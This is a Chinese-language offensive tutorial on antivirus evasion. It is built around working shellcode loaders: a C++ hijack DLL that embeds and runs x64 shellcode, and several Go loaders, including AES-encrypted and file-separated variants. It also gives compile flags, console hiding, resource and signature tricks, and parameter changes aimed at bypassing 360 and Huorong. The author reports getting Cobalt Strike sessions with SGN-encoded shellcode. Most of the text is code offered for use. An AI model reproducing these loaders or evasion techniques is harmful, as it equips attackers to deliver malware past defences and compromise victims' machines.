extern "C" __declspec(dllexport) int GetInstallDetailsPayload() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(addr, buf, sizeof(buf));
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); WaitForSingleObject(hThread, -1); CloseHandle(hThread); } extern "C" __declspec(dllexport) int SignalInitializeCrashReporting() { MessageBoxA(NULL, "SignalInitializeCrashReporting", 0, 0); return 0; }
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
运行exe,直接弹出计算器

将shellcode替换为sgn加密过的上线CS的shellcode,成功上线CS

360查杀过了


实战利用
DLL劫持与DLL代理
**DLL劫持:**一个程序在启动时会加载某个DLL文件,攻击者将那个DLL文件替换为黑DLL,在导出函数中写入shellcode加载器,当受害者运行程序,加载黑DLL文件时便执行shellcode加载代码,攻击者CS上线。
**DLL代理:**程序要调用xxx.dll,攻击者创建了一个黑dll,名字也叫做xxx.dll,这个黑dll文件会接受程序的调用,先执行一些恶意代码,然后这个黑dll再调用真正的xxx.dll完成原视操作。
利用
郑神自研工具:https://github.com/l1uyi/autoDllProxy
Go语言免杀
Go调用Windows api
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package main
import ( "syscall" "unsafe" )
func main() { kernel32 := syscall.MustLoadDLL("kernel32.dll")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") buf := []byte{0xfc, 0x48, 0x83, ...}
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40)
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(thread, 0xFFFFFFFF)
kernel32.Release() }
|
uinptr
uinptr不是指针,而是一个可以”装下指针地址的整数”,是为了和操作系统底层操作而设计的。
为什么返回3个参数
Call方法如下所示:
1 2 3
| func (p *Proc) Call(a ...uintptr) (uintptr, uintptr, error) { return SyscallN(p.Addr(), a...) }
|
返回三个参数,第一个返回参数p.Addr()为Windows api地址
Go编写shellcode加载器
Go语言编译
1
| go build main.go -o exp.exe
|
-o:指定输出文件名
减少体积编译(推荐使用)
1
| go build -ldflags="-w -s" -o shellcode.exe main.go
|
-w:禁用调试信息生成
-s:禁用符号表
隐藏CMD黑窗口(360会误杀)
1
| go build -ldflags="-w -s -H windowsgui" -o shellcode.exe main.go
|
-H windowgui:隐藏CMD黑窗口
隐藏源码路径信息
1
| go build -o shellcode.exe -ldflags="-w -s" -trimpath main.go
|
Go编译一个程序时,会把编译器生成的源码路径,如 /home/user/project/main.go浅入到可执行文件中。
当反编译xxx.exe时,就会看到/home/user/免杀项目/main.go,可能会导致信息泄露,特征命中
-trimpath:隐藏源码路径信息
创建线程执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package main
import ( "syscall" "unsafe" )
func main() { kernel32 := syscall.MustLoadDLL("kernel32.dll")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
buf := []byte{0xe8, 0xa0, 0x03, ...} addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40)
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(thread, 0xFFFFFFFF)
kernel32.Release() }
|
回调函数运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package main
import ( "syscall" "unsafe" )
func main() { kernel32 := syscall.MustLoadDLL("kernel32.dll")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
buf := []byte{0xe8, 0xa0, 0x03, ...} addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40)
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
EnumDateFormatsA.Call(addr, 0, 0)
kernel32.Release() }
|
本地分离
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package main
import ( "fmt" "os" "syscall" "unsafe" )
func main() { byteSlice, err := os.ReadFile("pd_x64.ini") if err != nil { fmt.Println("config file is not exist") return } kernel32 := syscall.MustLoadDLL("kernel32.dll") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") addr, _, _ := VirtualAlloc.Call(0, uintptr(len(byteSlice)), 0x1000, 0x40) RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&byteSlice[0])), uintptr(len(byteSlice)))
syscall.Syscall(addr, 0, 0, 0, 0) }
|
注意
1
| "github.com/spf13/cobra"
|
已经成为了默认查杀点,所以需要去掉
关闭黑窗口
编译参数消除黑框
写函数消除黑框
360会杀这种写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import "github.com/gonutz/ide/w32"
func closeWindows(commandShow uintptr) { console := w32.GetConsoleWindow() if console != 0 { _, consoleProcID := w32.GetWindowThreadProcessId(console) if w32.GetCurrentProcessId() == consoleProcID { w32.ShowWindowAsync(console, commandShow) } } }
func main() { closeWindows(w32.SW_HIDE) }
|
调用windows api,Win10/Win11
1 2 3 4 5 6 7 8 9 10 11 12
| var( kernel32 = syscall.MustLoadDLL("kernel32.dll") procFreeConsole = kernel32.MustFindProc("FreeConsole") )
func HideConsoleWindow() { procFreeConsole.Call() }
func main() { HideConsoleWindow() }
|
360免杀绕过
需要知道报QVM错误代表文件结构有问题,而非代码有问题
在360安全卫士【安全操作中心】-> 【上报记录】中可以查看云传检查结果

如图所示,云传结果通常有3种,”木马病毒”、”低风险”、”未发现风险”
其中”低风险”基本可以等效于”永久免杀”
而”未发现风险”依然有可能被杀,只是时间问题。
首先要确认免杀思路,一是”.exe”的问题(即编译参数、签名、资源信息等),二是代码本身的问题。
.exe层面免杀
(1) 编译参数
使用工具 CheckGoBuild,使用10中不同的参数进行编译,看哪些会被杀,代码使用打印hello world


“-race”和”-ldflags= -H windowsgui”这两个编译参数可能会被360查杀
推荐使用的编译参数如下
1
| go build -o main.exe -ldflags="-w -s" -trimpath main.go
|
测试去除黑框代码,360不报毒如下所示
1 2 3 4 5 6 7 8 9 10 11
| import "github.com/gonutz/ide/w32"
func closeWindows(commandShow uintptr) { console := w32.GetConsoleWindow() if console != 0 { _, consoleProcID := w32.GetWindowThreadProcessId(console) if w32.GetCurrentProcessId() == consoleProcID { w32.ShowWindowAsync(console, commandShow) } } }
|
(2) 其他因素
加签名、加资源文件、加壳、控制熵值等等。
代码层面免杀
(1) 调用windows api的包
之前用的是 syscall 包来调用 windows api
1 2 3 4 5 6 7 8 9
| import ( "syscall" ) func main() { kernel32 := syscall.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call() kernel32.Release() }
|
若 syscall 被查杀,可以换成另一个包 golang.org/x/sys/windows
1 2 3 4 5 6 7 8 9
| import ( "golang.org/x/sys/windows" )
func main() { kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call() }
|
(2) 加载DLL的方法
除了 MustLoadDLL,还有 NewLazyDLL方法可以使用
1 2 3
| MustLoadDLL 和 NewLazyDLL 的区别: 1、返回类型不一样:一个指向 DLL 结构体的指针, 一个指向 LazyDLL 结构体的指针 2、加载时间不一样:MustLoadDLL 在程序启动时就需要加载并使用 DLL, NewLazyDLL 惰性加载, 在程序运行时调用 DLL 函数时才加载 DLL 文件
|
MustLoadDLL已经被常见杀软标记特征,所以推荐使用 NewLazyDLL
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import ( "syscall" "unsafe" )
func main() { kernel32 := syscall.NewLazyDLL("kernel32.dll") VirtualAlloc := kernel32.NewProc("VirtualAlloc") RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") buf := []byte{0xe8, 0xa0, 0x03...} addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40) RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf))) syscall.Syscall(addr, 0, 0, 0, 0) }
|
制作360免杀马
shellcode,尝试sgn + aes加密
aes加密代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| package main
import ( "bytes" "crypto/aes" "fmt" )
func AesEncryptByECB(data []byte, key string) ([]byte, error) { keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok { return nil, fmt.Errorf("invalid key length") } keyByte := []byte(key) block, err := aes.NewCipher(keyByte) if err != nil { return nil, err } blockSize := block.BlockSize() originByte := PKCS7Padding(data, blockSize) encryptResult := make([]byte, len(originByte)) for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize { block.Encrypt(encryptResult[bs:be], originByte[bs:be]) } return encryptResult, nil }
func PKCS7Padding(originByte []byte, blockSize int) []byte { padding := blockSize - len(originByte)%blockSize padText := bytes.Repeat([]byte{byte(padding)}, padding) return append(originByte, padText...) } func AesDecryptByECB(data []byte, key string) ([]byte, error) { keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok { } keyByte := []byte(key) block, err := aes.NewCipher(keyByte) if err != nil { return nil, err } blockSize := block.BlockSize() originByte := data decrypted := make([]byte, len(originByte)) for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize { block.Decrypt(decrypted[bs:be], originByte[bs:be]) } return PKCS7UNPadding(decrypted), nil }
func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte) unpadding := int(originDataByte[length-1]) return originDataByte[:(length - unpadding)] } func main() { key := "1234567890abcdef" shellcode := []byte{0xe8, 0xa0, 0x03...} encrypted, _ := AesEncryptByECB(shellcode, key) hexData := "" for _, b := range encrypted { hexData += fmt.Sprintf("0x%02x,", b) } hexData = hexData[:len(hexData)-1] fmt.Printf("加密后的消息:\n%s", hexData) decrypted, _ := AesDecryptByECB(encrypted, key) dhexData := "" for _, b := range decrypted { dhexData += fmt.Sprintf("0x%02x,", b) } dhexData = dhexData[:len(dhexData)-1] fmt.Printf("解密后的消息:\n%s", dhexData) }
|
写加载器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package main
import ( "crypto/aes" "syscall" "unsafe" )
const ( MEM_COMMIT = 0x1000 PAGE_EXECUTE_READWRITE = 0x40 )
func AesDecryptByECB(data []byte, key string) ([]byte, error) { keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok { } keyByte := []byte(key) block, err := aes.NewCipher(keyByte) if err != nil { return nil, err } blockSize := block.BlockSize() originByte := data decrypted := make([]byte, len(originByte)) for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize { block.Decrypt(decrypted[bs:be], originByte[bs:be]) } return PKCS7UNPadding(decrypted), nil }
func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte) unpadding := int(originDataByte[length-1]) return originDataByte[:(length - unpadding)] }
func main() { kernel32 := syscall.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") encrypted := []byte{0xaa, 0x85, 0x9d, ...} key := "1234567890abcdef" shellcode_buf, _ := AesDecryptByECB(encrypted, key) addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), MEM_COMMIT, 0x40) RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf))) h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0) WaitForSingleObject.Call(h, 0xfffffff) kernel32.Release() }
|
先使用bypassQVM工具添加资源文件信息
1
| python QVM250.py -d test -n 10
|
然后加签名即可
反反复复尝试了很多使用Go写的变形免杀马,只能达到”未发现风险”的效果而非”低风险”,之后是否还要用Go还有待考量。
火绒免杀绕过
火绒的免杀相比360就比较鸡肋了。火绒不杀 “-H windowsgui”
所以可以直接一把梭命令编译
1
| go build -o ceshi.exe -ldflags="-w -s -H windowsgui" -trimpath main.go
|
sss火绒查杀点
(1) shellcode特征,这个sgn/aes这种强加密可以直接过掉
(2) 函数参数,如 0x1000|0x2000 需要替换为 0x1000
创建线程执行即可免杀,代码如上所示,不做赘述。
经过测试,发现火绒还查杀 VirtualAlloc.Call中的参数,直接写0x1000就好

0x1000|0x2000:先预留一段内存,再提交内存
0x1000:直接提交内存